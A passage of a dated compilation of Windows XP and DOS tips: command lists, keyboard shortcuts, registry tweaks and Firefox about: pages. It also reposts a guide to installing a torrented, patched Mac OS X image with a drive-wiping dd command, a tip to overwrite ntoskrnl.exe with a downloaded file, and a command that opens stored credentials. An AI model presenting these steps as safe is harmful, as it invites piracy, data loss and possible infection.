CALL - Calls a batch file from another batch file.
CD - Changes directories.
CHCP - Supplement the International keyboard and character set information.
CHDIR - Changes directories.
CHKDSK - Check the hard disk drive running FAT for errors.
CHKNTFS - Check the hard disk drive running NTFS for errors.
CHOICE - Specify a listing of multiple options within a batch file.
CLS - Clears the screen.
CMD - Opens the command interpreter.
COLOR - Easily change the foreground and background color of the MS-DOS window.
COMMAND - Opens the command interpreter.
COMP - Compares files.
COMPACT - Compresses and uncompress files.
CONTROL - Open control panel icons from the MS-DOS prompt.
CONVERT - Convert FAT to NTFS.
COPY - Copy one or more files to an alternate location.
CTTY - Change the computers input/output devices.

DATE - View or change the systems date.
DEBUG - Debug utility to create assembly programs to modify hardware settings.
DEFRAG - Re-arrange the hard disk drive to help with loading programs.
DEL - Deletes one or more files.
DELETE - Recovery console command that deletes a file.
DELTREE - Deletes one or more files and/or directories.
DIR - List the contents of one or more directory.
DISABLE - Recovery console command that disables Windows system services or drivers.
DISKCOMP - Compare a disk with another disk.
DISKPART - used to delete and create partitions.
DISKCOPY - Copy the contents of one disk and place them on another disk.
DOSKEY - Command to view and execute commands that have been run in the past.
DOSSHELL - A GUI to help with early MS-DOS users.
DRIVPARM - Enables overwrite of original device drivers.

ECHO - Displays messages and enables and disables echo.
EDIT - View and edit files.
EDLIN - View and edit files.
EMM386 - Load extended Memory Manager.
ENABLE - Recovery console command to enable a disable service or driver.
ENDLOCAL - Stops the localization of the environment changes enabled by the setlocal command.
ERASE - Erase files from computer.
EXIT - Exit from the command interpreter.
EXPAND - Expand a M*cro$oft Windows file back to it's original format.
EXTRACT - Extract files from the M*cro$oft Windows cabinets.

FASTHELP - Displays a listing of MS-DOS commands and information about them.
FC - Compare files.
FDISK - Utility used to create partitions on the hard disk drive.
FIND - Search for text within a file.
FINDSTR - Searches for a string of text within a file.
FIXBOOT - Writes a new boot sector.
FIXMBR - Writes a new boot record to a disk drive.
FOR - Boolean used in batch files.
FORMAT - Command to erase and prepare a disk drive.
FTP - Command to connect and operate on a FTP server.
FTYPE - Displays or modifies file types used in file extension associations.

GOTO - Movesa batch file to a specific label or location.
GRAFTABL - Show extended characters in graphics mode.

HELP - Display a listing of commands and brief explanation.
HOSTNAME -Display the hostname of the machine.

IF - Allows for batch files to perform conditional processing.
IFSHLP.SYS - 32-bit file manager.
IPCONFIG - Network command to view network adapter settings and assigned values.

KEYB - Change layout of keyboard.

LABEL - Change the label of a disk drive.
LH - Load a device driver in to high memory.
LISTSVC - Recovery console command that displays the services and drivers.
LOADFIX - Load a program above the first 64k.
LOADHIGH - Load a device driver in to high memory.
LOCK - Lock the hard disk drive.
LOGON - Recovery console command to list installations and enable administrator login.

MAP - Displays the device name of a drive.
MD - Command to create a new directory.
MEM - Display memory on system.
MKDIR - Command to create a new directory.
MODE - Modify the port or display settings.
MORE - Display one page at a time.
MOVE - Move one or more files from one directory to another directory.
MSAV - Early M*cro$oft Virus scanner.
MSBACKUP -MS-DOS application that enables users to backup their data on their computer.
MSD - Diagnostics utility.
MSCDEX - Utility used to load and provide access to the CD-ROM.
MWBACKUP - MS-DOS application that enables users to backup their data on their computer.

NBTSTAT - Displays protocol statistics and current TCP/IP connections using NBT
NET - Update, fix, or view the network or network settings
NETSH - Configure dynamic and static network information from MS-DOS.
NETSTAT - Display the TCP/IP network protocol statistics and information.
NLSFUNC - Load country specific information.
NSLOOKUP - Look up an IP address of a domain or host on a network.

PATH - View and modify the computers path location.
PATHPING - View and locate locations of network latency.
PAUSE - Command used in batch files to stop the processing of a command.
PING - Test / send information to another network computer or network device.
POPD - Changes to the directory or network path stored by the pushd command.
POWER - Conserve power with computer portables.
PRINT - Prints data to a printer port.
PROMPT - View and change the MS-DOS prompt.
PUSHD - Stores a directory or network path in memory so it can be returned to at any time.

QBASIC - Open the QBasic.

RD - Removes an empty directory.
REN - Renames a file or directory.
RENAME - Renames a file or directory.
RMDIR - Removes an empty directory.
ROUTE - View and configure windows network route tables.
RUNAS - Enables a user to execute a program on another computer.

SCANDISK - Run the scandisk utility.
SCANREG - Scan registry and recover registry from errors.
SET - Change one variable or string to another.
SETLOCAL - Enables local environments to be changed without affecting anything else.
SETVER - Change MS-DOS version to trick older MS-DOS programs.
SFC - Scans and replaces any M*cro$oft Windows file on the computer and replaces any changed file with the correct version
SHARE - Installs support for file sharing and locking capabilities.
SHIFT - Changes the position of replaceable parameters in a batch program.
SHUTDOWN - Shutdown the computer from the MS-DOS prompt.
SMARTDRV - Create a disk cache in conventional memory or extended memory.
SORT - Sorts the input and displays the output to the screen.
START - Start a separate window in Windows from the MS-DOS prompt.
SUBST - Substitute a folder on your computer for another drive letter.
SWITCHES - Remove add functions from MS-DOS.
SYS - Transfer system files to disk drive.
SYSTEMINFO - Displays complete system information for M*cro$oft Windows XP Professional computers.
SYSTEMROOT - The systemroot command is a recovery console command that sets the current directory as the system root directory.

TELNET - Telnet to another computer / device from the prompt.
TIME - View or modify the system time.
TITLE - Change the title of their MS-DOS window.
TRACERT - Visually view a network packets route across a network.
TREE - View a visual tree of the hard disk drive.
TYPE - Display the contents of a file.

UNDELETE - Undelete a file that has been deleted.
UNFORMAT - Unformat a hard disk drive.
UNLOCK - Unlock a disk drive.

VER Display - the version information.
VERIFY - Enables or disables the feature to determine if files have been written properly.
VOL - Displays the volume information about the designated drive.

XCOPY - Copy multiple files, directories, and/or drives from one location to another.

Guide To Installing Mac Os X On A Pc

Let's start by checking if you have a capable processor. After downloading /http://www.cpuid.org/cpuz.php, open it and view the "instructions." My particular so called testing machine hosts a Northwood Pentium 4 which has MMX, SSE and SSE2 but not SSE3, that's fine, you can always patch Mac OS later to run programs that require SSE3 with SSE2. Just make sure you have at least SSE2.


How do you do it?

First of all, you can’t install OS X on a new partition, it needs it’s own drive. For this guide Im installing it on my Sony Vaio TR2A. Since I only have one harddrive, it means I’m wiping windows and all my files in the process. You can easily follow the same steps but instead install it on a second harddrive in your PC. Here is how I have succesfully install OS X x86 NATIVELY on my laptop!

First of all, I think your CPU needs at LEAST sse2. For rosetta and to get itunes and other ppc apps working, you need sse3. My vaio has a Pentuim M, so no rosetta for me. Everything else works. Im posting this from the OS X x86 port of Firefox Wink

1. Download “VMWare files for patched Mac OS X Tiger Intel” from your favorite torrent site. (Hint: Use the search function).

2. Copy tiger-x86-flat.img from the archive to an external USB drive (it’s 6gb)

3. Download Ubuntu Live CD (link) … be sure you get the “Live CD”!!

4. Burn the ubuntu iso, stick it in your pc, and boot it! (make sure you have your bios set to boot to CD)

5. Once ubuntu boots and the gui finally comes up, hook up the USB drive you copied the 6gb image to. A window should pop up showing the contents of the drive. Take note of where its mounted. It should be /Devices/Yourdrivesvolumename

6. Open a terminal window and cd to that directory (/Devices/Yourdrivesvolumename). Do an “ls” to make sure you are in the right place (you should see the 6gb img file.

7. In the terminal window type:

dd bs=1048576 if=./tiger-x86-flat.img of=/dev/hda

Replace hda with the correct drive! If you only have one drive, its probably hda. Thats what mine was. You are about to erase this entire drive so make sure youve got it right and make sure you want to do this! Hit enter. It takes a while… took my vaio about 9 minutes.

8. When it’s done, remove the ubuntu disc and shut down the pc. Disconnect your usb drive. Thats it! When you power it back on, OS X should boot!

For whatever reason, mine hangs when its loading. If this happens to you, boot with the -x option (hit a button at the darwin screen when you boot your pc. enter “-x” and hit enter). Should work without any problems, and I dont see any restrictions being in safe mode.

You’ll notice there is a login screen, and you dont know the password! This image was created by “deadmoo” and we can easily change his password. Reboot the machine again. Again, hit a button at the darwin screen. This time type “-v” and hit enter. At the command prompt screen type:

sh /bin/sh
passwd curtis
(change the password to what you like)

passwd deadmoo
(change the passwrod to what you like)

Done! Now reboot once more, and again use the “-x” option. Everything should boot, and at the login screen enter your new password.

WELCOME TO THE OS X x86 CLUB!

Note: If you are installing this in a PC and have multiple drives, you dont need to use an external drive or linux distro. Simply dd the image in the same manner to any physical drive in your pc, and when its done boot to that drive and it should work.


This is not my guide, So use at your own risk like any other guides

Disable Ballon Tips

To disable balloon tips in Windows XP do this registry tweak

Go to : HKEY_CURRENT_USER\Software\M*cro$oft\Windows\CurrentVersion\Explorer\Advanced

Create a new DWORD value, name it EnableBalloonTips, and set it equal to 0. If EnableBalloonTips is already there and equal to 1, set it equal to 0. Quit the registry editor, log off, and log back on. Voila! Your computer will stop talking down to you.

PC Maintenance Guide

Goto:

http://www.techtree.com/India/PC_Maintenance_Guide/551-56391-560-1.html

Create Nameless Files And Folders In Windows

This trick will allow you to create files and folders without any name.

Just follow the following steps:

1.Select any file or folder.
2.Right click on it,press rename or simply press F2.
3.Press and hold the alt key.While holding the Alt key,type numbers 0160 from the numpad.

Note:Type the numbers 0160 from the numpad,that is,the numbers present on the right side of the keyboard.Dont type the numbers which are present on top of the character keys.

4.Press Enter and the nameless file or folder will be created.

Reason:The file or folder that seems nameless is actually named with a single space.

But what if you want to create another nameless file or folder in the same directory ?

For this you will have to rename the file with 2 spaces.Just follow these steps below:

1.Select file,press F2.
2.Hold alt key and type 0160 from the numpad.
3.Release the alt key.Now without doing anything else,again hold alt key and press 0160.
4.Press enter and you will have second nameless file in the same directory.
5.Repeat step 3 to create as many nameless files or folders in the same directory.

How To Fool A Keylogger

These days Agents spy on u everywhere, in college, at work, maybe a trojan virus on your home PC which keylogs your passwords and mails it to someone else. If u think u r being logged, try this:

Whenever u have to type a password, never type the complete password in one go, ie, if your password is WINDOWS, u should type NDOW, then move cursor to start of the password field using the mouse ONLY, then type WI, then move cursor to end using the mouse and type S. This way the logger will record your keystrokes as ndowwis instead of WINDOWS. Haha, keylogger fooled.

Internet Connection SpeedoMeter Online Internet Speed Test

Goto:

http://us.mcafee.com/root/speedometer/test_0150.asp

All Keyboard Shortcuts XP

Getting used to using your keyboard exclusively and leaving your mouse behind will make you much more efficient at performing any task on any Windows system. I use the following keyboard shortcuts every day:

Windows key + R = Run menu

This is usually followed by:
cmd = Command Prompt
iexplore + "web address" = Internet Explorer
compmgmt.msc = Computer Management
dhcpmgmt.msc = DHCP Management
dnsmgmt.msc = DNS Management
services.msc = Services
eventvwr = Event Viewer
dsa.msc = Active Directory Users and Computers
dssite.msc = Active Directory Sites and Services
Windows key + E = Explorer

ALT + Tab = Switch between windows

ALT, Space, X = Maximize window

CTRL + Shift + Esc = Task Manager

Windows key + Break = System properties

Windows key + F = Search

Windows key + D = Hide/Display all windows

CTRL + C = copy

CTRL + X = cut

CTRL + V = paste

Also don't forget about the "Right-click" key next to the right Windows key on your keyboard. Using the arrows and that key can get just about anything done once you've opened up any program.


Keyboard Shortcuts

[Alt]and [Esc] Switch between running applications

[Alt] and letter Select menu item by underlined letter

[Ctrl] and [Esc] Open Program Menu

[Ctrl] and [F4] Close active document or group windows (does not work with some applications)

[Alt] and [F4] Quit active application or close current window

[Alt] and [-] Open Control menu for active document

Ctrl] Lft., Rt. arrow Move cursor forward or back one word

Ctrl] Up, Down arrow Move cursor forward or back one paragraph

[F1] Open Help for active application

Windows+M Minimize all open windows

Shift+Windows+M Undo minimize all open windows

Windows+F1 Open Windows Help

Windows+Tab Cycle through the Taskbar buttons

Windows+Break Open the System Properties dialog box



Acessability shortcuts

Right SHIFT for eight seconds........ Switch FilterKeys on and off.

Left ALT +left SHIFT +PRINT SCREEN....... Switch High Contrast on and off.

Left ALT +left SHIFT +NUM LOCK....... Switch MouseKeys on and off.

SHIFT....... five times Switch StickyKeys on and off.

NUM LOCK...... for five seconds Switch ToggleKeys on and off.

Explorer shortcuts

END....... Display the bottom of the active window.

HOME....... Display the top of the active window.

NUM LOCK+ASTERISK....... on numeric keypad (*) Display all subfolders under the selected folder.

NUM LOCK+PLUS SIGN....... on numeric keypad (+) Display the contents of the selected folder.

NUM LOCK+MINUS SIGN....... on numeric keypad (-) Collapse the selected folder.

LEFT ARROW...... Collapse current selection if it's expanded, or select parent folder.

RIGHT ARROW....... Display current selection if it's collapsed, or select first subfolder.




Type the following commands in your Run Box (Windows Key + R) or Start Run

devmgmt.msc = Device Manager
msinfo32 = System Information
cleanmgr = Disk Cleanup
ntbackup = Backup or Restore Wizard (Windows Backup Utility)
mmc = M*cro$oft Management Console
excel = M*cro$oft Excel (If Installed)
msaccess = M*cro$oft Access (If Installed)
powerpnt = M*cro$oft PowerPoint (If Installed)
winword = M*cro$oft Word (If Installed)
frontpg = M*cro$oft FrontPage (If Installed)
notepad = Notepad
wordpad = WordPad
calc = Calculator
msmsgs = Windows Messenger
mspaint = M*cro$oft Paint
wmplayer = Windows Media Player
rstrui = System Restore
netscp6 = Netscape 6.x
netscp = Netscape 7.x
netscape = Netscape 4.x
waol = America Online
control = Opens the Control Panel
control printers = Opens the Printers Dialog


Internetbrowser

type in u're adress "google", then press [Right CTRL] and [Enter]
add www. and .com to word and go to it


For Windows XP:

Copy. CTRL+C
Cut. CTRL+X
Paste. CTRL+V
Undo. CTRL+Z
Delete. DELETE
Delete selected item permanently without placing the item in the Recycle Bin. SHIFT+DELETE
Copy selected item. CTRL while dragging an item
Create shortcut to selected item. CTRL+SHIFT while dragging an item
Rename selected item. F2
Move the insertion point to the beginning of the next word. CTRL+RIGHT ARROW
Move the insertion point to the beginning of the previous word. CTRL+LEFT ARROW
Move the insertion point to the beginning of the next paragraph. CTRL+DOWN ARROW
Move the insertion point to the beginning of the previous paragraph. CTRL+UP ARROW
Highlight a block of text. CTRL+SHIFT with any of the arrow keys
Select more than one item in a window or on the desktop, or select text within a document. SHIFT with any of the arrow keys
Select all. CTRL+A
Search for a file or folder. F3
View properties for the selected item. ALT+ENTER
Close the active item, or quit the active program. ALT+F4
Opens the shortcut menu for the active window. ALT+SPACEBAR
Close the active document in programs that allow you to have multiple documents open simultaneously. CTRL+F4
Switch between open items. ALT+TAB
Cycle through items in the order they were opened. ALT+ESC
Cycle through screen elements in a window or on the desktop. F6
Display the Address bar list in My Computer or Windows Explorer. F4
Display the shortcut menu for the selected item. SHIFT+F10
Display the System menu for the active window. ALT+SPACEBAR
Display the Start menu. CTRL+ESC
Display the corresponding menu. ALT+Underlined letter in a menu name
Carry out the corresponding command. Underlined letter in a command name on an open menu
Activate the menu bar in the active program. F10
Open the next menu to the right, or open a submenu. RIGHT ARROW
Open the next menu to the left, or close a submenu. LEFT ARROW
Refresh the active window. F5
View the folder one level up in My Computer or Windows Explorer. BACKSPACE
Cancel the current task. ESC
SHIFT when you insert a CD into the CD-ROM drive Prevent the CD from automatically playing.

Use these keyboard shortcuts for dialog boxes:

To Press
Move forward through tabs. CTRL+TAB
Move backward through tabs. CTRL+SHIFT+TAB
Move forward through options. TAB
Move backward through options. SHIFT+TAB
Carry out the corresponding command or select the corresponding option. ALT+Underlined letter
Carry out the command for the active option or button. ENTER
Select or clear the check box if the active option is a check box. SPACEBAR
Select a button if the active option is a group of option buttons. Arrow keys
Display Help. F1
Display the items in the active list. F4
Open a folder one level up if a folder is selected in the Save As or Open dialog box. BACKSPACE

If you have a M*cro$oft Natural Keyboard, or any other compatible keyboard that includes the Windows logo key and the Application key , you can use these keyboard shortcuts:


Display or hide the Start menu. WIN Key
Display the System Properties dialog box. WIN Key+BREAK
Show the desktop. WIN Key+D
Minimize all windows. WIN Key+M
Restores minimized windows. WIN Key+Shift+M
Open My Computer. WIN Key+E
Search for a file or folder. WIN Key+F
Search for computers. CTRL+WIN Key+F
Display Windows Help. WIN Key+F1
Lock your computer if you are connected to a network domain, or switch users if you are not connected to a network domain. WIN Key+ L
Open the Run dialog box. WIN Key+R
Open Utility Manager. WIN Key+U

accessibility keyboard shortcuts:

Switch FilterKeys on and off. Right SHIFT for eight seconds
Switch High Contrast on and off. Left ALT+left SHIFT+PRINT SCREEN
Switch MouseKeys on and off. Left ALT +left SHIFT +NUM LOCK
Switch StickyKeys on and off. SHIFT five times
Switch ToggleKeys on and off. NUM LOCK for five seconds
Open Utility Manager. WIN Key+U

shortcuts you can use with Windows Explorer:


Display the bottom of the active window. END
Display the top of the active window. HOME
Display all subfolders under the selected folder. NUM LOCK+ASTERISK on numeric keypad (*)
Display the contents of the selected folder. NUM LOCK+PLUS SIGN on numeric keypad (+)
Collapse the selected folder. NUM LOCK+MINUS SIGN on numeric keypad (-)
Collapse current selection if it's expanded, or select parent folder. LEFT ARROW
Display current selection if it's collapsed, or select first subfolder. RIGHT ARROW

How To Hack/change Your Windows Xp Boot Screen

How to hack/change your Windows XP Boot Screen

This is a very simple trick to do if you have done the same for the logon screen and the start button. There are 2 ways to do this trick that I know about one is doing it manually and the other is using a program called bootxp. I am going to tell you the manual way to do it, but if you want to know the other way just let me know, so I can do an update to the guide. Now once you have downloaded your ntoskrnl.exe file save it a general location so that you will have easy access to it, like my folder.



Once you have ntoskrnl.exe file in an easy access folder, restart your pc into safe mode. Once into safe mode go to the folder where your files are located.



Now that you are there copy the file that you want to change your boot screen too. Once you have copied that file, hit the window key + r or type %windir%\system32 in the run command, so that folder as follows.



Once there paste your new file into the folder and overwrite the existing folder.



Now that you have your new file in the folder restart your pc as you normally would and your new boot screen should appear. You can download this bootscreen here.



ALWAYS BACKUP EVERYTHING YOU EDIT OR DELETE. I'M NOT RESPONSIBLE IF YOU MESS YOUR COMPUTER UP BY DOING THIS HACK OR ANY TYPE OF HACK. DO IT AT YOUR OWN RISK.

Image and ntoskrnl.exe files provided by www.themexp.org

or
u can go to

code:

http://www.overclockersclub.com/guides/hackxpbootscreen.php

The 7 Hidden Pages Within Your Firefox Browser

I found myself staring at the “about:blank” parameter for an IE installation today, and that got me thinking if it works in other browsers too. It did. I’m using Firefox, and that cleared the address bar to a blank. And then I figured the developers HAD to include some more address bar commands and started looking them up. Here’s what I found:

about: A simple prompt without any parameter will display the Mozilla “about” information. Since it’s accessible from the top menus as well, it’s not quite a hidden feature.

about:buildconfig Obviously, it will show the build platform configuration and parameters

about:cache Will display info and statistics regarding your disk’s cache, including the name of your cache’s directory and a list of the entries you can find there. By default, Firefox doesn’t allow you to view the cached webpages, so this can be an useful option.

about:config Oh look, many many info. Indeed, it’s the most complex and meaningful of them all. Careful on what you plan to change here, your browser won’t run properly after if you play with the wrong things.

about:plugins Of course, what is Firefox without it’s powerful extensions? This option will display detailed information about all the plugins installed for Mozilla Firefox.

about:credits It’s time to give the credit to whoever deserves it. There’s an alphabetically sorted list of all the people that gave their contribution to the development of Firefox.

about:Mozilla This is a weird thing. It will display the so-called “Book of Mozilla”. Something similar was present in Netscape too. There’s actually no real book although the quotations might give you that impression.

Have fun browsing through your browser’s internal features.

Access Stored User Names And Passwords, Xp Users

Access Stored User Names and Passwords

Windows XP related

Access Stored User Names and Passwords with rundll32.exe in Windows XP


1. Click on START - RUN Type

rundll32.exe keymgr.dll,KRShowKeyMgr

2. Press Enter

njoyyyyyyy

Alt-shift-print Screen - A Scary Keybrd Shortcut For Windows

The Print Screen key [PrtScn] takes a snapshot of the entire computer screen and copies it to the Windows Clipboard. Hold down Alt and press the Print Scrn key to capture just the active window.

So far so good. Now try this combination - Press Alt, Shift and Print Screen together. And don't worry, you can always restore your previous desktop theme by pressing the same keyboard shortcut again.

How to Write a Windows XP Driver

Source: Microsoft Corporation July 2001

Summary: This document describes the steps you should take to create a Microsoft® Windows® XP driver for your device. To create a Windows XP device driver:

• Install the current Windows DDK. Read the system requirements and installation instructions in the stand-alone Getting Started HTML file supplied with the DDK.
• Read Getting Started with Windows Drivers. This document guides you through the planning and decision-making process involved in making a Windows device driver from design through distribution. You should also look through the DDK documentation for device-type-specific information.

The DDK documentation set has the following device-type-specific nodes:

• Battery Devices
• Display and Print Devices
• IEEE 1284.4 Devices
• Interactive Input Devices
• Modem Devices
• Multifunction Devices
• Network Devices and Protocols
• Parallel Ports and Devices
• Serial Ports and Devices
• Smart Card Devices
• Still Image Devices
• Storage Devices
• Streaming Devices (Video and Audio)
• Devices Requiring VDDs

• IDE bus are described in System Support for Buses. Driver development for most device types also requires a strong understanding of Windows operating system fundamentals, which are described in Kernel-Mode Driver Architecture.
• Look through the driver source code provided with the DDK for a sample that represents your device type. Use the sample code where possible, modifying it for your device's specifics.
• The sample code can enhance your understanding of Windows XP driver implementation requirements and speed your development time.
• Compile and build your driver. This should be done using the Build utility and not some other compiler, because the Build utility has certain features that are necessary for driver development.
• Obtain a checked build of Windows XP, so that you can test and debug your driver using free and checked system builds.
• The checked build of Windows XP provides extensive kernel-mode debugging capabilities not available in the free build.
• Create an INF file so that you can install and test your driver.
• Test and debug your driver. You should use Driver Verifier, a program that puts your driver through a variety of tests, stresses, and deliberate failures in order to test its response and reliability in many extreme situations. You should also use a debugger. Microsoft provides several powerful debuggers that can monitor and debug kernel-mode and user-mode drivers.
  Using Driver Verifier in conjunction with these debuggers, on both the checked and free versions of the operating system, can be a powerful way to test your driver.
• Provide an installation package so that customers can install devices that use your driver.
• Submit your driver and installation package to Microsoft so that it can be digitally signed.

There are many resources available to you while developing your driver. The following sites describe some of the support available to you:

• http://www.microsoft.com/ddk describes how to obtain the current DDK and provides other information, such as a driver development reading list.
• http://www.microsoft.com/hwdev provides information, such as device-type-specific white papers and late-breaking news, and a list of resources available to driver developers.
• http://support.microsoft.com/support/ddk contains DDK product support information.